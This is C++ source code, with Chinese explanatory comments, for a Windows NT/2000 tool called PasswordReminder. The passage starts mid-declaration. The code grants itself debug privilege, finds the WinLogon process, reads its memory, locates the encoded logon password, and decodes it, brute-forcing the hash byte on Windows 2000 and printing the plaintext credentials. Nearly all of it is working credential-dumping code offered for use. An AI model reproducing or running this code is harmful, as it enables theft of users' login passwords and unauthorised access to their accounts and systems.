HashByte = 0; wchar_t UserName [0x400]; wchar_t UserDomain [0x400]; int __cdecl main( int argc, char* argv[] ) { printf( "\n\t To Find Password in the Winlogon process\n" ); printf( " Usage: %s DomainName UserName PID-of-WinLogon\n\n", argv[0] ); if ((!IsWinNT ()) && (!IsWin2K ())) { printf ("Windows NT or Windows 2000 are required.\n"); return (0); } // Add debug privilege to PasswordReminder - // this is needed for the search for Winlogon. // 增加PasswordReminder的权限 // 使得PasswordReminder可以打开并调试Winlogon进程 if (!AddDebugPrivilege ()) { printf ("Unable to add debug privilege.\n"); return (0); } printf ("The debug privilege has been added to PasswordReminder.\n"); // 获得几个未公开API的入口地址 HINSTANCE hNtDll = LoadLibrary ("NTDLL.DLL"); pfnNtQuerySystemInformation = (PFNNTQUERYSYSTEMINFORMATION) GetProcAddress (hNtDll, "NtQuerySystemInformation"); pfnRtlCreateQueryDebugBuffer = (PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress (hNtDll, "RtlCreateQueryDebugBuffer"); pfnRtlQueryProcessDebugInformation = (PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress (hNtDll, "RtlQueryProcessDebugInformation"); pfnRtlDestroyQueryDebugBuffer = (PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress (hNtDll, "RtlDestroyQueryDebugBuffer"); pfnRtlRunDecodeUnicodeString = (PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress (hNtDll, "RtlRunDecodeUnicodeString"); // Locate WinLogon's PID - need debug privilege and admin rights. // 获得Winlogon进程的PID // 这里作者使用了几个Native API,其实使用PSAPI一样可以 DWORD WinLogonPID = argc > 3 ? atoi( argv[3] ) : FindWinLogon () ; if (WinLogonPID == 0) { printf ("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.\n"); printf ("PasswordReminder is unable to find the password in memory.\n"); FreeLibrary (hNtDll); return (0); } printf("The WinLogon process id is %d (0x%8.8lx).\n", WinLogonPID, WinLogonPID); // Set values to check memory block against. // 初始化几个和用户账号相关的变量 memset(UserName, 0, sizeof (UserName)); memset(UserDomain, 0, sizeof (UserDomain)); if( argc > 2 ) { mbstowcs( UserName, argv[2], sizeof(UserName)/sizeof(*UserName) ); mbstowcs( UserDomain, argv[1], sizeof(UserDomain)/sizeof(*UserDomain) ); }else { GetEnvironmentVariableW(L"USERNAME", UserName, 0x400); GetEnvironmentVariableW(L"USERDOMAIN", UserDomain, 0x400); } printf( " To find %S\\%S password in process %d ...\n", UserDomain, UserName, WinLogonPID ); // Locate the block of memory containing // the password in WinLogon's memory space. // 在Winlogon进程中定位包含Password的内存块 BOOL FoundPasswordPage = FALSE; if (IsWin2K ()) FoundPasswordPage = LocatePasswordPageWin2K (WinLogonPID, &PasswordLength); else FoundPasswordPage = LocatePasswordPageWinNT (WinLogonPID, &PasswordLength); if (FoundPasswordPage) { if (PasswordLength == 0) { printf ("The logon information is: %S/%S.\n", UserDomain, UserName); printf ("There is no password.\n"); } else { printf ("The encoded password is found at 0x%8.8lx and has a length of %d.\n", RealPasswordP, PasswordLength); // Decode the password string. if (IsWin2K ()) DisplayPasswordWin2K (); else DisplayPasswordWinNT (); } } else printf ("PasswordReminder is unable to find the password in memory.\n"); FreeLibrary (hNtDll); return (0); } // main // // IsWinNT函数用来判断操作系统是否WINNT // BOOL IsWinNT (void) { OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); if (GetVersionEx (&OSVersionInfo)) return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT); else return (FALSE); } // IsWinNT // // IsWin2K函数用来判断操作系统是否Win2K // BOOL IsWin2K (void) { OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); if (GetVersionEx (&OSVersionInfo)) return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) && (OSVersionInfo.dwMajorVersion == 5)); else return (FALSE); } // IsWin2K // // AddDebugPrivilege函数用来申请调试Winlogon进程的特权 // BOOL AddDebugPrivilege (void) { HANDLE Token; TOKEN_PRIVILEGES TokenPrivileges, PreviousState; DWORD ReturnLength = 0; if (OpenProcessToken (GetCurrentProcess (), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &Token)) if (LookupPrivilegeValue (NULL, "SeDebugPrivilege", &TokenPrivileges.Privileges[0].Luid)) { TokenPrivileges.PrivilegeCount = 1; TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; return (AdjustTokenPrivileges (Token, FALSE, &TokenPrivileges, sizeof (TOKEN_PRIVILEGES), &PreviousState, &ReturnLength)); } return (FALSE); } // AddDebugPrivilege // // Note that the following code eliminates the need // for PSAPI.DLL as part of the executable. // FindWinLogon函数用来寻找WinLogon进程 // 由于作者使用的是Native API,因此不需要PSAPI的支持 // DWORD FindWinLogon (void) { #define INITIAL_ALLOCATION 0x100 DWORD rc = 0; DWORD SizeNeeded = 0; PVOID InfoP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, INITIAL_ALLOCATION); // Find how much memory is required. pfnNtQuerySystemInformation (0x10, InfoP, INITIAL_ALLOCATION, &SizeNeeded); HeapFree (GetProcessHeap (), 0, InfoP); // Now, allocate the proper amount of memory. InfoP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, SizeNeeded); DWORD SizeWritten = SizeNeeded; if (pfnNtQuerySystemInformation (0x10, InfoP, SizeNeeded, &SizeWritten)) { HeapFree (GetProcessHeap (), 0, InfoP); return (0); } DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION); if (NumHandles == 0) { HeapFree (GetProcessHeap (), 0, InfoP); return (0); } PQUERY_SYSTEM_INFORMATION QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) InfoP; DWORD i; for (i = 1; i <= NumHandles; i++) { // "5" is the value of a kernel object type process. if (QuerySystemInformationP->HandleType == 5) { PVOID DebugBufferP = pfnRtlCreateQueryDebugBuffer (0, 0); if (pfnRtlQueryProcessDebugInformation (QuerySystemInformationP->PID, 1, DebugBufferP) == 0) { PPROCESS_INFO_HEADER ProcessInfoHeaderP = (PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP + 0x60); DWORD Count = ProcessInfoHeaderP->Count; PPROCESS_INFO ProcessInfoP = (PPROCESS_INFO) ((DWORD) ProcessInfoHeaderP + sizeof (PROCESS_INFO_HEADER)); if (strstr (_strupr (ProcessInfoP->Name), "WINLOGON") != 0) { DWORD i; DWORD dw = (DWORD) ProcessInfoP; for (i = 0; i < Count; i++) { dw += sizeof (PROCESS_INFO); ProcessInfoP = (PPROCESS_INFO) dw; if (strstr (_strupr (ProcessInfoP->Name), "NWGINA") != 0) return (0); if (strstr (_strupr (ProcessInfoP->Name), "MSGINA") == 0) rc = QuerySystemInformationP->PID; } if (DebugBufferP) pfnRtlDestroyQueryDebugBuffer (DebugBufferP); HeapFree (GetProcessHeap (), 0, InfoP); return (rc); } } if (DebugBufferP) pfnRtlDestroyQueryDebugBuffer (DebugBufferP); } DWORD dw = (DWORD) QuerySystemInformationP; dw += sizeof (QUERY_SYSTEM_INFORMATION); QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw; } HeapFree (GetProcessHeap (), 0, InfoP); return (rc); } // FindWinLogon // // LocatePasswordPageWinNT函数用来在NT中找到用户密码 // BOOL LocatePasswordPageWinNT (DWORD WinLogonPID, PDWORD PasswordLength) { #define USER_DOMAIN_OFFSET_WINNT 0x200 #define USER_PASSWORD_OFFSET_WINNT 0x400 BOOL rc = FALSE; HANDLE WinLogonHandle = OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, WinLogonPID); if (WinLogonHandle == 0) return (rc); *PasswordLength = 0; SYSTEM_INFO SystemInfo; GetSystemInfo (&SystemInfo); DWORD PEB = 0x7ffdf000; DWORD BytesCopied = 0; PVOID PEBP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, SystemInfo.dwPageSize); if (!ReadProcessMemory (WinLogonHandle, (PVOID) PEB, PEBP, SystemInfo.dwPageSize, &BytesCopied)) { CloseHandle (WinLogonHandle); return (rc); } // Grab the value of the 2nd DWORD in the TEB. PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof (DWORD))); MEMORY_BASIC_INFORMATION MemoryBasicInformation; if (VirtualQueryEx (WinLogonHandle, (PVOID) *WinLogonHeap, &MemoryBasicInformation, sizeof (MEMORY_BASIC_INFORMATION))) if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT) && ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0)) { PVOID WinLogonMemP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, MemoryBasicInformation.RegionSize); if (ReadProcessMemory (WinLogonHandle, (PVOID) *WinLogonHeap, WinLogonMemP, MemoryBasicInformation.RegionSize, &BytesCopied)) { DWORD i = (DWORD) WinLogonMemP; DWORD UserNamePos = 0; // The order in memory is UserName followed by the UserDomain. // 在内存中搜索UserName和UserDomain字符串 do { if ((wcsicmp (UserName, (wchar_t *) i) == 0) && (wcsicmp (UserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WINNT)) == 0)) { UserNamePos = i; break; } i += 2; } while (i < (DWORD) WinLogonMemP + MemoryBasicInformation.RegionSize); if (UserNamePos) { PENCODED_PASSWORD_INFO EncodedPasswordInfoP = (PENCODED_PASSWORD_INFO) ((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WINNT); FILETIME LocalFileTime; SYSTEMTIME SystemTime; if (FileTimeToLocalFileTime (&EncodedPasswordInfoP->LoggedOn, &LocalFileTime)) if (FileTimeToSystemTime (&LocalFileTime, &SystemTime)) printf ("You logged on at %d/%d/%d %d:%d:%d\n", SystemTime.wMonth, SystemTime.wDay, SystemTime.wYear, SystemTime.wHour, SystemTime.wMinute, SystemTime.wSecond); *PasswordLength = (EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t); // NT就是好,hash-byte直接放在编码中:) HashByte = (EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8; RealPasswordP = (PVOID) (*WinLogonHeap + (UserNamePos - (DWORD) WinLogonMemP) + USER_PASSWORD_OFFSET_WINNT + 0x34); PasswordP = (PVOID) ((PBYTE) (UserNamePos + USER_PASSWORD_OFFSET_WINNT + 0x34)); rc = TRUE; } } } HeapFree (GetProcessHeap (), 0, PEBP); CloseHandle (WinLogonHandle); return (rc); } // LocatePasswordPageWinNT // // LocatePasswordPageWin2K函数用来在Win2K中找到用户密码 // BOOL LocatePasswordPageWin2K (DWORD WinLogonPID, PDWORD PasswordLength) { #define USER_DOMAIN_OFFSET_WIN2K 0x400 #define USER_PASSWORD_OFFSET_WIN2K 0x800 HANDLE WinLogonHandle = OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, WinLogonPID); if (WinLogonHandle == 0) return (FALSE); *PasswordLength = 0; SYSTEM_INFO SystemInfo; GetSystemInfo (&SystemInfo); DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress; DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress; DWORD Increment = SystemInfo.dwPageSize; MEMORY_BASIC_INFORMATION MemoryBasicInformation; while (i < MaxMemory) { if (VirtualQueryEx (WinLogonHandle, (PVOID) i, &MemoryBasicInformation, sizeof (MEMORY_BASIC_INFORMATION))) { Increment = MemoryBasicInformation.RegionSize; if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT) && ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0)) { PVOID RealStartingAddressP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, MemoryBasicInformation.RegionSize); DWORD BytesCopied = 0; if (ReadProcessMemory (WinLogonHandle, (PVOID) i, RealStartingAddressP, MemoryBasicInformation.RegionSize, &BytesCopied)) { // 在WinLogon的内存空间中寻找UserName和DomainName的字符串 if ((wcsicmp ((wchar_t *) RealStartingAddressP, UserName) == 0) && (wcsicmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0)) { RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN2K); PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K); // Calculate the length of encoded unicode string. // 计算出密文的长度 PBYTE p = (PBYTE) PasswordP; DWORD Loc = (DWORD) p; DWORD Len = 0; if ((*p == 0) && (* (PBYTE) ((DWORD) p + 1) == 0)) ; else do { Len++; Loc += 2; p = (PBYTE) Loc; } while (*p != 0); *PasswordLength = Len; CloseHandle (WinLogonHandle); return (TRUE); } } HeapFree (GetProcessHeap (), 0, RealStartingAddressP); } } else Increment = SystemInfo.dwPageSize; // Move to next memory block. i += Increment; } CloseHandle (WinLogonHandle); return (FALSE); } // LocatePasswordPageWin2K // // DisplayPasswordWinNT函数用来在NT中解码用户密码 // void DisplayPasswordWinNT (void) { UNICODE_STRING EncodedString; EncodedString.Length = (WORD) PasswordLength * sizeof (wchar_t); EncodedString.MaximumLength = ((WORD) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t); EncodedString.Buffer = (PWSTR) HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, EncodedString.MaximumLength); CopyMemory (EncodedString.Buffer, PasswordP, PasswordLength * sizeof (wchar_t)); // Finally - decode the password. // Note that only one call is required since the hash-byte // was part of the orginally encoded string. // 在NT中,hash-byte是包含在编码中的 // 因此只需要直接调用函数解码就可以了 pfnRtlRunDecodeUnicodeString ((BYTE) HashByte, &EncodedString); printf ("The logon information is: %S/%S/%S.\n", UserDomain, UserName, EncodedString.Buffer); printf ("The hash byte is: 0x%2.2x.\n", HashByte); HeapFree (GetProcessHeap (), 0, EncodedString.Buffer); } // DisplayPasswordWinNT // // DisplayPasswordWin2K函数用来在Win2K中解码用户密码 // void DisplayPasswordWin2K (void) { DWORD i, Hash = 0; UNICODE_STRING EncodedString; EncodedString.Length = (USHORT) PasswordLength * sizeof (wchar_t); EncodedString.MaximumLength = ((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t); EncodedString.Buffer = (PWSTR) HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, EncodedString.MaximumLength); // This is a brute force technique since the hash-byte // is not stored as part of the encoded string - :>(. // 因为在Win2K中hash-byte并不存放在编码中 // 所以在这里进行的是暴力破解 // 下面的循环中i就是hash-byte // 我们将i从0x00到0xff分别对密文进行解密 // 如果有一个hash-byte使得所有密码都是可见字符,就认为是有效的 // 这个算法实际上是从概率角度来解码的 // 因为如果hash-byte不对而解密出来的密码都是可见字符的概率非常小 for (i = 0; i <= 0xff; i++) { CopyMemory (EncodedString.Buffer, PasswordP, PasswordLength * sizeof (wchar_t)); // Finally - try to decode the password. // 使用i作为hash-byte对密文进行解码 pfnRtlRunDecodeUnicodeString ((BYTE) i, &EncodedString); // Check for a viewable password. // 检查解码出的密码是否完全由可见字符组成 // 如果是则认为是正确的解码 PBYTE p = (PBYTE) EncodedString.Buffer; BOOL Viewable = TRUE; DWORD j, k; for (j = 0; (j < PasswordLength) && Viewable; j++) { if ((*p) && (* (PBYTE)(DWORD (p) + 1) == 0)) { if (*p < 0x20) Viewable = FALSE; if (*p > 0x7e) Viewable = FALSE; //0x20是空格,0X7E是~,所有密码允许使用的可见字符都包括在里面了 } else Viewable = FALSE; k = DWORD (p); k++; k++; p = (PBYTE) k; } if (Viewable) { printf ("The logon information is: %S/%S/%S.\n", UserDomain, UserName, EncodedString.Buffer); printf ("The hash byte is: 0x%2.2x.\n", i); } } HeapFree (GetProcessHeap (), 0, EncodedString.Buffer); } // DisplayPasswordWin2K // end PasswordReminder.cpp
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值